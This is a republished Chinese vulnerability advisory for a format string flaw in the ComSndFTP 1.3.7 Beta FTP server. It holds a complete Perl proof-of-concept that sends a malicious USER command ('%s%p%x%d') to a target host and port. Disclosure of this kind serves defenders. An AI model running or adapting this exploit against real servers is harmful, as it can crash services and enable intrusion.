ComSndFTP服务器格式字符串漏洞

发布日期:2012-06-07
更新日期:2012-06-28

受影响系统:
ComSndFTP ComSndFTP 1.3.7 Beta
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 53865

ComSndFTP是适用于Windows的FTP服务器。

ComSndFTP 1.3.7 Beta在实现上存在格式字符串漏洞,远程攻击者可利用此漏洞执行任意代码或造成拒绝服务。

<*来源:demonalex
 
  链接:
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl -w
#ComSndFTP Server Remote Format String Overflow Exploit
#Written by demonalex (at) 163 (dot) com [email concealed]
use IO::Socket;
$|=1;
$host=shift || die "$0 \$host \$port\n";
$port=shift || die "$0 \$host \$port\n";
$evil = '%s%p%x%d';
print "Launch Attack ... ";
$sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30) || die "HOST $host PORT $port is down!\n";
if(defined($sock1)){
$sock1->recv($content, 100, 0);
sleep(2);
$sock1->send("USER ".$evil."\r\n", 0);
sleep(2);
$sock1->recv($content, 100, 0);
sleep(5);
$sock1->close;
}
print "Finish!\n";
exit(1);

建议:
--------------------------------------------------------------------------------
厂商补丁:

ComSndFTP
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwwywf.html